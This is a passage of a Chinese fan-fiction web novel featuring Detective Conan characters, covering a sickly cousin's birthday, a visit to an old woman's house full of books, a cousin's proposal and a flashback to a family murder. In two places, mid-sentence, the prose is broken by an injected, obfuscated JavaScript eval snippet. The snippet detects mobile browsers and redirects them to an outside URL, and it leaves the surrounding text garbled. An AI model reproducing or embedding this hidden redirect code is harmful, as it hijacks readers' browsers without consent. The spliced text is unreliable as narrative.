*OOC:你的角色扮演严重脱离了娜娜姐的原型。 *0:0分+颜文字+降谷零的名字一语三关。 不痛不痒的攻势,都不值得比一个“嫌弃的眼神”更严厉的反击。 诸伏景光没有勾选降谷零苦思冥想一早晨的候选礼物,直接写道: 【昨天我就想好了,我准备的礼物,要是以我们两个人的名义一起送给娜娜姐,她会更高兴,信不信?】 诶? 仔细一想的话…… 降谷零知道幼驯染的惊喜是什么,正因为知道,所以飞快地相信了,但他不愿意就这样轻易地承认,嘴上饶了一句: “那你怎么不带上高明哥呢?有高明哥一起的话她岂不是三倍高兴?” 诸伏景光陷入沉思: “……哥哥他好像只为娜娜姐庆贺过初雪日的生日,没有庆贺过五月的生日。”坏了,他知道娜娜姐今年的生日改到了今天吗? 降谷零和诸伏景光大眼瞪小眼。身在教室的他们注定得不到这个问题的答案了,除非回去问当事人。 时间是一匹蹦蹦跶跶的小马驹,不管是门缝还是栅栏,一眨眼就钻过去了。 放学后,和诸伏景光一起回了望月家的降谷零,遇到了意料之外的人: 望月家的庭院里停着一辆租车公司的小轿车,玄关多了一双比还在少年期的二人尺码略大一些的男鞋,菱形格子挂钩上有一件适用于初夏遮风挡雨防晒的薄款风衣,颜色也好款式也好,都是那位严肃的兄长大人会喜欢的。 正是降谷零早上刚刚提到过的、有过一面之缘的、两位幼驯染的哥哥、就读于东都大学法学院的诸伏高明。 诸伏高明穿着不太合身的围裙,握着汤勺,从厨房里探出身来,见到一黑一白局促的小老弟,平静地吩咐他们: “‘工欲善其事,必先利其器。’饭还有五分钟就好,去洗手吧。” 降谷零眨了眨眼睛,他似乎能听懂高明哥古语含量超标的话语。 望月七宫自诸伏高明身后蹿出来,得意洋洋地解释道: “高明哥说的是,兼职打工想要拿到全额工资,必须要先磨好刀,在准备克扣你们的中介或老板面前拿出来!” 诸伏高明:…… 诸伏景光&降谷零:…… 是、是这样吗? 降谷零突然觉得他说不定自视甚高了,其实他并没有听懂才对。 诸伏高明把望月七宫的小脑袋瓜摁下去,以手掩唇,重新解释: “娜娜告诉我,你们最近急着筹钱,忙碌不堪,休息时间不足,令她担忧。长此以往,亦将于健康有碍。须分清主次,还没轮到你们疲于生计的时候。厚积薄发,以待来日。” 降谷零看向诸伏景光,诸伏景光看向降谷零,他们一起看向望月七宫。 望月七宫再次站成洋洋得意的姿势,抱臂仰头,下巴朝天: “高明哥说的是,厚蛋烧要浇比较薄的酱汁,太咸了会发苦,影响……” 诸伏高明又把这个故意胡说八道的捣蛋鬼摁了下去,不给她继续狐假虎威的机会,无声地指向盥洗室。 诸伏景光笑着翻译了他哥的肢体语言: “走吧娜娜姐,你也得去洗手。” 他不光是说说而已,开口的同时直接上前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007693|194083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两步,一手搂住望月七宫的腰,一手揽着她的肩膀,轻轻松松就把她拎了起来,带去他哥指定的方位。 降谷零赶紧放下两个人的书包,追去盥洗室,眼角余光隐约扫到了诸伏高明脸上,温和宁静的笑意。 诸伏高明带来了巧克力蛋糕和两部书,做了一桌和洋折衷的家常菜,还泡了风味独特的柠檬红茶,味道很好。 菜式也喜欢,蛋糕也喜欢,生日礼物更是喜出望外,望月七宫抱着《老埃达》和《新埃达》,激动得难以言表,干脆跳起来去亲诸伏高明的脸。 诸伏高明伸手一抄,将这只高兴过了头的长耳跳鼠打横抱起,沉着冷静地提醒道: “七宫。” 望月七宫脸上狂喜乱舞的神色消失了,所有表情瞬间清零。她静默几秒,仰着脸,古井无波般回答: “我知道了,高明哥。谢谢你的礼物,我很开心。” 看起来可一点都不开心。 诸伏景光给降谷零使了个眼色,让他不要现在问。 过于强烈的情绪、起伏不定的情绪对她的健康有害,她从还不会说话的岁数就在学习如何才能让脆弱的生命持续得更久,灵魂怎么样走钢丝人生之路才能更平稳。 诸伏高明摸摸她的头,把她放下来。 娜娜不懂事,景光和那孩子是弟弟,比她小,她恐怕不会听他们的。兴头上泼她冷水也不好,总得找到她能接受的提醒她的方式才行。 望月七宫板着脸走回了座位,左右两边的诸伏景光和降谷零在餐桌下,偷偷伸出圆手,一人握住她一只冰凉的鬼爪子。 她的“板着脸”柔化成了“面无表情”,诸伏高明还察觉到了若有若无的挑衅。 有点好笑,有点可爱,让人无可奈何,徒生嗟叹。 诸伏高明给她道了歉: “还请宽宏大量的猫头鹰星驻地球大使原谅我的扫兴,你有两位不错的小伙伴,这样我就放心了。” 望月七宫没忍住翘起了嘴角,一向严肃的高明哥念出她自封的称号实在少见,比Hiro和Zero低头配合她要好玩很多,嘻嘻。 餐桌上的气氛缓和,除了望月七宫以外的三个人精都察觉到了。 诸伏高明在心里松了口气,娜娜从不记仇,过去了就是过去了。她气头上是不会听别人说话的,气头过去再说就没关系了。 他端起一杯柠檬红茶,为她祝寿: “‘祸兮福之所倚,福兮祸之所伏。’娜娜,你一路走来这么辛苦,就祝福你以后的日子里,否极泰来、逢凶化吉、健康长寿、平安顺遂。” 望月七宫和他碰杯,各自一饮而尽,并将“我没听懂啊,你们谁听懂了吗”的求助视线投给两边的发小。 诸伏景光目光呆滞,降谷零视线游移,没有一个靠谱的。 过了几秒,她只好亲自开了尊口: “……那个,高明哥,刚才你在说什么‘猫头鹰起飞会撞飞灾祸’吗?” 日语里的“猫头鹰”发音和“福气”开头一致,因此视猫头鹰为带来好运的福鸟,望月七宫听得一知半解,在那里穿凿附会。 没听懂的明明是三个。 诸伏高明摇了摇头,抬手示意另外两个也开始给她祝寿,不要再纠结古语的话题了。 诸伏景光先来: “哥哥说得太好,我都不知道说什么了。娜娜姐,一百岁的生日礼物,我和零想等你亲自送,不要偷懒交给‘姐姐’和‘大福’呀。” 望月七宫有一点莫名的坚持,绝不答应做不到的事。因此她不肯正面回答诸伏景光的请求,试图靠大笑萌混过关,笑得一碗茶撒出去半碗,总算等到了他的退让。 轮到降谷零,这只黑皮金毛小野猫坐在那里琢磨了半天,也不知道琢磨出来些什么好话,到最后,竟然就说了句干巴巴的“生日快乐”。 望月七宫不满意,联合了诸伏景光给他灌茶,还抓了把吃不了的巧克力蛋糕糊他的脸。降谷零忍无可忍,一边摆脱诸伏景光的控制,一边反手糊她熊脸。 弟弟妹妹们玩起了幼稚的蛋糕大战,诸伏高明悄悄退场。 过了一会儿,诸伏景光的房间门口伸出一道长长的镜头筒,“咔嚓”“咔嚓”的声音记录下今日快乐的时光。 8. 第 8 章 第8章歪打正着的娜娜姐 诸伏高明开车载着弟弟妹妹们抵达了望月七宫发现的“宝藏书店”附近。 诸伏景光和降谷零想的没错,他直到今天上午还不知道望月七宫那个把生日当成棋盘上的棋子一样来回悔棋的妹妹,又把它擅自挪动到了不属于它的格子。 可他有内应: 他在望月家开的私塾打工。 望月家开设了规模不小的私人学校,业务范围包括小初高补课、大学升学、与语言学校合作招收留学生。 望月爸爸负责学校这边的运营,望月千岁带领团队在忙别的。 今天中午,望月爸爸接到了医院的电话,嘱咐诸伏高明下午去看望他表妹,带着蛋糕和礼物。他有事得去外地的分校开会,马上就走,明天都不一定能回来。 蛋糕是望月千岁预订好的,礼物是诸伏高明早有准备的,但问题是,离娜娜的生日不是还有十天吗? 原来是娜娜又改了啊。那就没问题了。只要娜娜还愿意呼吸,她做什么都好,都很好。 望月七宫对诸伏高明恰到好处的闪现没产生任何怀疑。她看书杂,和高明哥聊古诗文非常带劲,Hiro和Zero那两个笨蛋都聊不下去哼哼。 陪表妹玩了会儿曲解古籍的游戏,差点绷不住笑容的诸伏高明提出去做饭,望月七宫忙前忙后地跟着添乱。等到诸伏景光和降谷零回来,吃完收拾完,也还不到下午五点半。 夏天的白昼时间长,望月七宫又坚持要去她的预订地点,诸伏高明只好妥协。路上后座的三个弟弟妹妹聊着的话题有很多小孩子的内部黑话,他听不懂,不过能听出他们关系很好、都很开心。足够了。 望月七宫喊停车的位置让他略有不解。 ——和降谷零一样,他也很疑惑,这地方远远超出望月七宫的常见活动范围,她怎么发现的? 目的地离望月家颇有些距离,在下町的商住混合区,车辆难以通行,一行人下了车,跟着望月七宫走。 望月七宫挽着诸伏高明的手臂,快活得好似一只出了笼子的小太阳鹦鹉,叽叽喳喳地在前面指路,时不时回头看看诸伏景光和降谷零有没有跟上。 诸伏高明没有低头看望月七宫。隔着衣服他都能感受到,这位小表妹细瘦的手臂和蹦跳时撞在他身上的肩膀,多么硌人,不忍心仔细瞧她从来没多少婴儿肥、如今更是肉都干了的脸。 他对望月七宫没有丝毫绮念,也不像与她朝夕相处的诸伏景光一样了解她的隐私。可他年长,知道更多东西,做兄长的保护弟弟妹妹是天职,指出他们尚未察觉的错误或潜在的危险行为是他的责任。 具体怎么指出,而不伤害到她,需要斟酌斟酌。 正常来讲,十六七岁的女孩儿,一般到了青春期的后半程,第二性征发育,月经来潮,生理和心理都为了“即将长大成人”做好了准备。 不过这种岁数往往宫颈尚未成熟,太早怀孕生产对母体来说是难以承受的沉重负担。荷尔蒙爆发、情窦初开的年龄段,愿意的话,去开启一段青春、甜美或刺激的恋爱很好,可更进一步、人生迈入下一阶段,最好等上一等。 那都是别人的事。望月七宫没有享受这些“粉红色的烦恼”的资格,上天给青少年们派发“恋爱入场券”时跳过了她。 她的人生卡在了“青春期”。 望月七宫的发育程度,呈现出了与实际年龄不符的幼稚状态: 她尚未初潮降临,到现在贴身穿的还是儿童款背心,整体和局部都缺乏脂肪。个头倒是逼近一米六,算女生平均值,但骨骺线基本闭合——意思是她不会再长高了。 她的父亲和表兄是185+级别,表弟也快突破180大关,母亲也远高于平均值,全家只有她矮得别具一格。 营养摄入方面,她家里从来没亏待过她。营养吸收方面,她的身体一直在亏待她。 生理方面的幼稚是因为疾病,心理方面则是家庭教育的缘故了。 望月七宫曾经一星期内被医院连续下达十三次病危通知书,她的父母充分听取了医生的建议,保障安全的前提下,对她的养育方式主要是放任,不去教导她如何融入社会: 日本社会的集体主义很排斥“异常”的存在,望月七宫的普通生活本身就是不同寻常的。越是试图融入,就会越清晰地感受到被排斥。人总被周边的人斥作“怪物”,真的可能异化为怪物。 女儿的体弱不以任何人的意志为转移,用尽治疗手段依然无力回天,身体都这么难受了,还要让她处在被排斥被霸凌的心理阴影中,作为“怪物”,痛苦地走过短暂又草率的一生吗? 快乐王子的父母为他建造了一座无忧宫。望月七宫的父母给她打造了一间娃娃屋,而且祈愿死后的世界不存在、是封建迷信的无稽之谈,他们家的小猫头鹰会化作尘埃,回归生她养她的土地中去,不再受病痛折磨。 医护人员配合了望月父母的选择,诸伏兄弟和降谷零也都不是会随便戳人伤疤的混账东西,望月七宫住在医院的时间远多于住在家里,偶尔越狱很快就会被抓回来,一个简陋的低配版楚门的世界就这样形成。 效果显著。 她的天真烂漫没有随着年龄增长消散太快,每天都很高兴,烦恼不过夜,记仇也不过夜。 坏处当然也有,最典型的就是,她对他人的防备心和警惕性严重不足。 两性方面问题就更大了,她没意识到和二十出头的青年男性摆出“挽着手臂挨肩并足耳鬓厮磨”的亲密姿态是不合适的。哪怕亲哥也不合适,何况是表哥? 诸伏高明知道望月七宫不懂事,只有个子是大孩子,心态还是小孩儿,不想在短短的时间内连续扫她的兴,准备等这趟“宝藏书店寻宝之行”结束、送她回家的时候,再跟她阐明“与人同行”的注意事项。 在当地文化中,为人未有重大瑕疵的兄长在场的时候,年少的诸伏景光与降谷零即使认为望月七宫的行为不妥,如果兄长没有说话,他们就不能贸然阻止或呵斥,这种做法会被认为属于越俎代庖的冒犯举止。 何况他们也没发现哪里不对。 不管是谁,都很难把同一个屋檐下、一起长大的活猴儿,视作可以产生性缘关系的异性。 娜娜姐是猴子,高明哥是细高挑的松柏君子。所以说,猴子爬树有什么问题吗?←大概是这样普通的心态,不是刻意想看她的笑话。 只有诸伏高明一个人略有不自在、另外三个都浑然未觉的步程很快就到了终点,望月七宫很自然地松开诸伏高明的臂弯,几步蹿到了一扇门前,双手在嘴边比出喇叭状: “到~了~哦!” 她指示的那家书店是一座经过几十年风雨的二层町屋,没有挂牌,倒是钉着姓氏表札,汉字的“濑见”。门口摆着 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她的头发不算稀疏,低低地绾着灰色的攥儿,牙齿洁白整齐,额头、眼尾、唇边都镌刻着岁月的痕迹,然而皱纹整体的形状勾勒出一张祥和的笑脸。 望月七宫也高兴地凑上去,任凭老人举着快要收尾的毛线活在她头上比比划划。 走近了能看出来,老太太织的不是衣服,而是一件猫头鹰造型的毛线帽,从白中带黑点的颜色来看,应该是雌性雪鸮。 一老一小寒暄的几句话的功夫,雪鸮毛线帽就织完了。老太太把它戴在望月七宫头上,干瘪的手指仔细整理着边沿、调节松紧。 望月七宫歪头,模仿猫头鹰睁一眼闭一眼,双眼交替,十分滑稽。 老人“呵呵”地笑着,笑得眉眼弯弯,摸摸她的肩膀,又捏捏她的胳膊,摇头叹气: “怎么还是这么瘦呀?小孩子要好好吃饭才行。” 望月七宫大惊失色,抱住单薄的肩膀,后退半步: “钱婆婆!您要改行开糖果屋了吗?不要吃掉我啊,我很瘦的——那边那个Zero比较胖,吃他吧!” 降谷零瞳孔猛缩,眼睛变成了灰色调的同心圆,伸出拇指指着自己的鼻尖,惊疑不定地瞪着望月七宫。 哼,你今年的生日礼物,取消了! “钱婆婆”乐呵呵地点点她的鼻子: “Zero是你给小朋友取的外号吗?这孩子。我们家姓‘濑见(Semi)’,你就要管我叫‘钱(Zeni)婆婆’。那位‘Zero’君难道也是……” 又圆又大的老花镜里映出了降谷零金发深肤的身影,他原本在用目光殴打毫不犹豫地献祭他的望月七宫,老太太提到他的绰号,他才看过去。 濑见婆婆愣了一下,愣的时间其实不长,只不过年纪大了反应慢,让降谷零觉得特别久。还没等他心里的难受劲儿泛出来,老太太又笑着对他招手: “那位小哥,你也过来。” 降谷零不明所以地上前,老太太眯着眼睛打量了一番他的头发和手,站起来摸了摸他的肩膀: “多漂亮的孩子啊。也没少被欺负过吧?我们家的娜娜酱也是混血儿,被欺负得受不了,高中没毕业就跟她父母去美国留学了。毕了业找了个满世界飞的工作,一年到头也见不到人。唉……” 说完,她不等降谷零说点什么挽尊的话,补充一句“我去给你们拿点吃的喝的”就进了屋子深处。 9. 第 9 章 第9章被人求婚的娜娜姐 降谷零不像望月七宫那样缺乏人际交往常识,他不相信有人会无缘无故对陌生人示好到这种程度。 警觉的少年人打量着这座分明只是民居、根本不是店铺的“宝藏书店”,嘴里也没闲着: “我猜那位‘濑见婆婆’说的‘我们的娜娜酱’不是‘我们’的‘娜娜酱’?” 这句话实在过于阴阳怪气,望月七宫吃了嘲讽,绕了个远过来踹他的小腿。 能被她追上的恐怕只有树懒,降谷零轻轻松松地躲到了诸伏景光身后,跟望月七宫秦王绕柱期间把房间观察一遍,差不多明白了为什么她会错认。 ——濑见婆婆家到处都堆满了书。 书架上有、书架外有、客厅有、走廊有、就连老太太的摇椅旁边也有。不提别的,光说他们站着的这点地方能看到的范围,就有柜子和架子收纳不下的十几摞书堆。 把“有很多书的地方”当成“书店”符合望月七宫对人类社会的认知水平。要是这里有她感兴趣的书目类别,原地直接晋升“宝藏书店”也不奇怪。 摇椅旁边放着一部刚刚修补了封皮的泛黄老书,封面上娟秀的字体写着《The Elder Edda》(老埃达),正是诸伏高明刚刚送给望月七宫的生日礼物同款,比他送的可古旧多了。 三位男生同样时间获取的信息量差不多,降谷零猜到的部分,诸伏兄弟也猜到了。 第不知道多少届绕景赛跑告一段落。 降谷零还没出汗,热身都算不上,望月七宫就跑不动了,喘着粗气就近靠在诸伏景光身上,诸伏景光熟练地揽住她的肩膀,给她一个支撑的力,声音里带了几分挖苦意味: “Zero真厉害呢,和哑巴吵架、和瘸子跳高、和娜娜姐赛跑,从来都没输过。” 降谷零被夸得心虚地别过了头。 诸伏高明就那么看着,没有阻止任何人的意思,甚至眼带笑意。 濑见婆婆端着托盘回来,放在茶几上,招呼她眼里的四个小孩子吃喝。托盘里有些自制的茶点,饮料有听装或盒装的水蜜桃果汁、橘子汽水、可乐、牛奶和茶壶茶杯。 望月七宫在大夏天也冰凉的鬼爪子鬼鬼祟祟地伸向可乐。 三只手同时按在了她手上。 她本来有点心虚,发现三位不约而同的管束者由于动作撞车,略显尴尬和回退之意,立马瞪圆了眼睛,伸出另一只手砸在最上面,发出清脆的“啪”的一声,理直气壮地反问: “怎么,喝饮料犯天条吗?” 降谷零的手背都被她拍红了,这个混蛋猫头鹰哪里来的那么大力气?他也用另一只手拍了望月七宫一下,力度很轻,跟摸一下没区别,嘴里很疼似的嘶声道: “以防你不记得,你的出院医嘱包括‘请尽量不要饮用碳酸饮料’。” 望月七宫根本不理,龇牙咧嘴地抽出最底下的手再接再厉地拍他。降谷零不服每次都只有他被拍,与望月七宫较上了劲。 诸伏兄弟没有跟进这种幼稚的“猫爪必须在上”游戏,他们在降谷零开口后就收回了自己的手、向老婆婆道谢。诸伏高明还以望月七宫兄长的身份问起妹妹怎么叨扰到人家的。 事情的经过不复杂: 昨天望月七宫越狱后胡乱坐地铁和公交车转悠,恰巧转到了下町附近,她见到第一家是杂货铺,远点还有布铺、花店等等,理所当然地把这一趟街所有町屋都当成了商店。 她本来在很随意地走走停停,透过临街的玻璃看看里面卖什么,或者看看倒影中的自己,大雨突降,她猝不及防地被淋成了一只落汤猫头鹰。 正好眼前的是门口有许多绿植、屋子里堆满了书的濑见家。 濑见婆婆把摇椅挪到靠门的位置,就着下雨的微风纳凉,修补着封面遭到虫蛀的《老埃达》,发现一个干瘪瘦弱的小孩子躲在她家门口避雨。 有点像她家娜娜酱小时候受了欺负回家,怕她难过,不敢让她发现,偷偷摸摸想要趁她不备溜进来换掉脏衣服、再假装没事人似的从外面刚刚回来的样子。 无数回忆涌上心头,冲在最前面的是无处安置的舐犊之情。 她开门把陌生的小姑娘叫了进来,给她块大毛巾擦擦水。 小姑娘没什么耐心,擦得过于糊弄,简直和老太太小时候老家养的鸡用沙子洗澡一样,一滚一甩就完了。濑见婆婆看不下去,让她安静坐好,上手给她从头到尾揩拭了一遍。 这孩子的嘴像一挺机关枪,突突突突突,一刻也没闲着。 老年人比年轻人更能忍耐寂寞,也更害怕寂寞。家里误入这么一只活泼话痨的小猴子,濑见婆婆开心地和望月七宫聊了起来。 老太太的丈夫以前是一位历史系的教授,特别爱书,家中藏书无数,夫妇二人全都读过,一辈子也没少引经据典地打嘴仗说俏皮话。年初,他因老病,去世了。 他们只有一个女儿,姻缘不顺。第一次结婚被打得受不了,离了;第二次是知根知底人家门当户对的丈夫,无精症,天天疑神疑鬼,闹得鸡飞狗跳,离了。 第三次是老教授的鬼佬留学研究生偷家。这次还算美满,生了个取名为“七音”、昵称“娜娜酱”的女儿不到两年,他上街时从无差别杀人犯手底下保护路人,伤重不治。 濑见婆婆的女儿因此怨恨上了全日本的男人,公司要派人去美国发展业务,她申请去了。去了以后在美国,和一个不会说日语的美籍日人后代恋爱结婚,留在了那边,给家乡的父母幼女定期打钱,去她那里探亲旅游也欢迎,就是不愿意再回来。 娜娜酱是混血外貌显著的混血儿,经历了降谷零同款日式霸凌。 她不像降谷零那么能打,也没遇到过能解开她的心结的医生大姐姐,高中时怀着对日本的厌恶,去投奔了母亲和继父,改名“水鸟七音”,后来好像也读了历史或考古专业。 濑见家只剩下两位老人,现在更是只有濑见婆婆自己,陪伴她的是一本本老旧的相册,和一摞摞积年的藏书。 望月七宫一眼就看到了她在缝补新封皮的北欧神话诗集,问她可以不可以阅读。 濑见婆婆在聊天中发现这孩子似乎错认了她家是书店,也没纠正,还开玩笑说看上哪本就带回去,只要五円硬币就好。 望月七宫没识别出这是个玩笑,她信了,还挺惋惜地说她耐力不足,看上了好几部书但是搬不动,想要约她两个最好的朋友一起来。这里有阿加莎·克里斯蒂的波洛系列全套,他们肯定喜欢。 这活宝实在太好玩了,濑见婆婆逗了逗她,知道了一些她的爱好和小烦恼,帮着出了点主意。留她喝下午茶,她拒绝了。一老一小约好第二天,也就是今天带她的小伙伴来这里玩。 望月七宫走了以后,濑见婆婆实在喜欢这个小姑娘,也很盼望她真的能来,就放下还没补完的旧书,取来棒针和毛线团,按照小姑娘的猫头鹰偏好,编织起了雪鸮毛线帽。 她想,帽子明天就能织完,明天娜娜酱还会来吗? ……或许比起小猫头鹰,她更想见到的是与之同名的水鸟吧。 弟弟们在妹妹的带领下去挑书了,诸伏高明端着茶杯慢慢啜饮,听到濑见婆婆问他: “你们家的娜娜酱,先天不足对不对?给她多做点好吃的、让她多吃点饭,女孩子有点肉才好看。” 诸伏高明没有澄清望月七宫的饮食状况,微微颔首,默认了妹妹新找到的忘年交的猜测。 老太太与兄长聊着望月七宫的话题,两个男孩子怀里抱了高高的两摞书,都快要遮挡视野了,他们还没挑完。 天色渐晚,濑见婆婆手里第二件毛线帽子轮廓成型了,是和降谷零气质相似的小黑猫。 她赞许地看向陪她枯坐许久的诸伏高明: “你这孩子说话像我们家老头子,老是拽文。我年轻时以为他故意找茬,笑话我没他有学问,跟他吵过无数架。老了老了,却怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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望月七宫举着一本地中海毒药学的图文书籍,兴奋地跑过来,注意到高明红潮未退的脸,解读出了“高明哥是不是在生气?”的信号,一秒摆出正经的姿态,跟濑见婆婆耳语:她破解了拿破仑死亡之谜!是托法娜仙液! 她分析出了个离实际上两大主流(遗传性胃癌or慢性砷中毒)猜测甚远的荒谬结论,但没人扫她的兴,大家以各自的方式纷纷夸奖她一番。反正拿破仑不是她杀的,她猜什么都好。 一大三小四个孩子留下四枚五円硬币,满载而归。 回家以后,诸伏高明让诸伏景光和降谷零去写作业,在只有他和望月七宫的私下场合,如同问起“明天早上想吃什么”般,举重若轻地询问道: “娜娜,听说你想当新娘子?” 望月七宫的眼睛“噌”的一下亮起来,连连点头: “要戴安娜王妃那样的婚纱!要色打褂!要白无垢!要三三九度!神前式婚礼和教堂婚礼都要!还要好多好多孩子!比女儿节的雏人形还多!比女王蜂的子民还多! 看来她真的挺想的。以及果然是过家家的心态——她的雏人形是十五位,一个蜂巢可以有十万蜜蜂,前者说不定有天赋异禀的女性可以挑战极限,后者人类女性再努力一百倍也做不到。 诸伏高明深深吸气,追问灵动的猫眼亮得发光的表妹,他的脸红出于对即将出口的问题的羞耻,而非少年心事的羞涩: “那么,娜娜要不要和我结婚?” 如果今天是娜娜的最后一个生日、如果她尚且拥有的全部时间还不到一年,她的心愿,作为兄长的他无论如何也要满足。 年龄的话他是娜娜认识的人里唯一符合规定的。两个人之间是四亲等,法律上没有问题。孩子的话娜娜大概不会介意是布的、泥的、瓷的还是塑料的。 望月七宫瞠目结舌,讷讷不成言。 “咚”的一声,降谷零摔了进来,诸伏景光也砸到了他背上。他们惊慌失措得眼睛都不知道看哪里好。 诸伏高明面色红透了,头顶简直都要冒烟。 10. 第 10 章 第10章轰轰烈烈的娜娜姐 诸伏高明的求婚是深思熟虑之后的郑重选择。 他13岁时,参加夏令营的合宿期间,家中出了重大变故。第二天匆匆赶回,面对血淋淋的家破人亡现场,他以惊人的冷静和克制,在衣柜里找到了警察封锁现场时都没注意到的弟弟小景。 小景发着烧,眼神都直了,话也不会说,人也不认识,看着亲哥都像在看陌生人,过了好半天才哭出来。 望月七宫参加外守有里的葬礼后病了,直到诸伏家变那天依然在住院,不知道血案发生。 一夜之间,诸伏高明就成了诸伏家必须顶门立户的那个人。 他要把诸伏景光送医,要面对警方盘问,要回忆父母日常交往中的各种街坊邻居、生人熟人、有债务纠纷、感情纠纷、发生过口角的对象,还要拜托医务人员对望月七宫保密。 没保住。 诸伏景光受到极大惊吓导致的夜惊梦魇和高烧不退这个葫芦还没按下去,望月七宫又被想要抢个大新闻的小报记者惊扰到了,意识到“诸伏家全家都没了”的当时,她就倒下去,呼吸心跳全停了。 诸伏高明的心跳也快停了。 他才知道,发生了这么大的意外,竟然没人记得通知一下东京的望月夫妇。 守在望月七宫的抢救室外,作为暂时唯一的患者家属签了病危通知书、担心着用药以后安静睡着的弟弟,他居然还有脑子想到去医院的壁挂公共电话那里给姑姑打电话。 旧名“诸伏千岁”的望月千岁很快赶到,她把忙得焦头烂额的诸伏高明(和他的好友大和敢助)撵去睡觉,劝他放心吧弟弟妹妹都不会有事的有姑姑在呢、接手了医院的一团乱麻。 想办法变装潜入望月七宫病房的记者拿到了“受害者家惨案现场”“一女伤重不治随父母而去”“一子正在抢救”的大新闻照片,必然能得到不少奖金。吃到甜头,他故技重施,又去窥伺诸伏景光,让望月千岁堵了个正着。 诸伏全家的暴脾气可能都集中在了这位姑母一个人身上,她直接动手把这头畜生打成了烂羊头,双持胡椒喷雾防备一切胆敢继续欺负诸伏景光的苍蝇臭虫。 震慑力十足。 姑父比姑母来得慢一些,他对妻子的暴烈性情十分了解,没能第一时间拦住接到噩耗的妻子像发怒的狮子一样出门,就在第一时间采取措施降低她可能出现的暴力行为的后续风险。 法治国家,法制社会,灭门案必然是轰动全国的大案,正规报社正规电视台自有消息获取途径,小报就不一定了。英国的小报能害死王妃,日本的小报也不遑多让,一窝蜂地扑去幸存者那里吸血可太是他们会做的好事了。 望月夫妇是大学同学。姑父是姑姑当年的追求者中性格最好的那位,如今和同学朋友们也保持着良好的关系,现在到了验证那份关系是不是如他所想的那般良好的时候了。 第一通电话打给了能联系到医院院长的同学,将望月七宫和诸伏景光转到了特需病房,配备了护理师+安保人员的双重防护,设立访客白名单制度,当然,钱的部分他来负责。 第二通电话打给了和他家关系尚佳的主流媒体中,他的一位大报记者老朋友,进行一场简短的、态度恳切的非正式沟通。堵不如疏,独家采访权换取对小报记者必然会有的过激行为的预防式定性,对所有人都好。 第三通电话打到了望月千岁的朋友家。有时候丈夫说话是没有女性好友更容易让太太听得进去的,他需要立刻去长野县警那边,分身乏术,望月千岁需要有人帮她踩一脚刹车。明白情况后,那位朋友马上动身。 任何人突然接收到比较大的信息量都需要反应时间,东京离长野虽然近但也有距离,几件事同时发生,留给不同人出手和反应的时间是不一样的。 望月千岁全程超速,却仍然不是第一批赶到医院的。望月七宫的抢救室红灯变绿灯,说明转危为安,她没空等医生出来交代早听过无数次的废话,去探视侄子。 院长那里的转换科室的通知刚下达到诸伏景光的病房,病房护士在和准备转入的特需病房沟通联系、安排床位和人员,安保人员正在等着领临时工作证才能上楼。 儿科任何时候都足够喧嚣吵闹,每个人都忙得人仰马翻。 望月千岁一进门就看到了装扮成护士、却粗暴地摇醒在镇定剂作用下安睡的诸伏景光、盘问他父母死亡现场细节的禽兽。 望月家的私立学校合作的安保公司和院方协商好了,轮班人员来到病房,发现老板娘正骑在一个护士身上抡拳头,还骂“她”杀人。 仔细一看,护士的燕尾帽、假发和口罩都被打掉了,这是个矮个子男人,还口齿不清地放屁,他们赶紧上前帮忙。 一个帮忙按住假护士,一个帮忙搜出假护士身上的录音笔和微型照相机。 望月千岁的朋友带着律师兼司机兼老公也赶过来了,拉起打得小报记者一脸血的望受害者家属,紧紧抱住情绪依然十分激动的望月千岁,给随身律师使眼色。 律师迅速给出专业意见:确认安保人员控制住了现场并且扣住了设备,主张对方非法侵入与骚扰、危害未成年人生命安全,让记者听清他们保留追究权利,同时已经做好了反诉准备。 儿科的医护人员由于望月七宫的频繁住院,跟总来探望她的诸伏景光非常熟了,对这个乖巧懂事的漂亮小孩印象深刻。 病房护士刚腾出手就发现责任区里出了大事,同样义愤填膺,摇人把记者抓去好、好、地、处理伤口,让同事选角度多拍几张“恶意假冒医护者”看不出来受了伤的丑恶嘴脸。 诸伏高明虽然被姑姑劝说成功,离开了医院,又哪里睡得着?他看了一眼望月千岁委托监督他睡觉的大和敢助,大和敢助摆出绝不通融的铁汉姿态。 所以他费了点口舌,才让大和敢助同意“再去看看放心不下的小景”,看到的是温柔地抱着迷迷糊糊的弟弟拍打哄睡的望月千岁。 大乱斗现场他没赶上,安保人员早就处理干净了。多年之后他再想起姑母,最深刻的印象依然是上面那一幕。 院方、警方、媒体方诸事平定,望月七宫和诸伏景光换了病房,望月百年姗姗来迟,见妻子难以面对弟弟弟妹的亡故,找到诸伏高明,来一场男人之间的谈话——关于诸伏夫妇的葬礼、未成年的诸伏兄弟的后续安排。 那场谈话的尾音,一直持续到了今天。 各个有历史可以溯源的国家和地区,都有各自的“传统习俗”。日本的传统习俗,并不包括“善待兄弟姐妹留下的孤儿、与自己的孩子一视同仁”。 现代之前,将来投奔的孤儿寡母视为累赘和佣人的情况,司空见惯。 到了现代,人们手里不再像以前那么物资匮乏,儿童福利法也日渐完善,对待侄甥普遍好了不少。可夺取家产和保险后,把痛失父母的孩子丢去孤儿院的破事,依然数见不鲜。 长野的亲戚也来了。 望月家愿意正式收养诸伏兄弟,这几乎意味着独生女体弱、难以活到成立的前提下,诸伏兄弟作为养子,可以继承到相当可观的资产,少奋斗三十年都不止。 长野的亲戚不同意望月家带走全部的两个孩子。不知道会不会与遗产或保险有关,就当没有吧。 诸伏高明拒绝了。 双亲冤情未雪、凶手尚未落网,他不想离开案发地。总得有人记住那对与人为善的夫妇与父母,总得有一双眼睛盯着看“后续”。 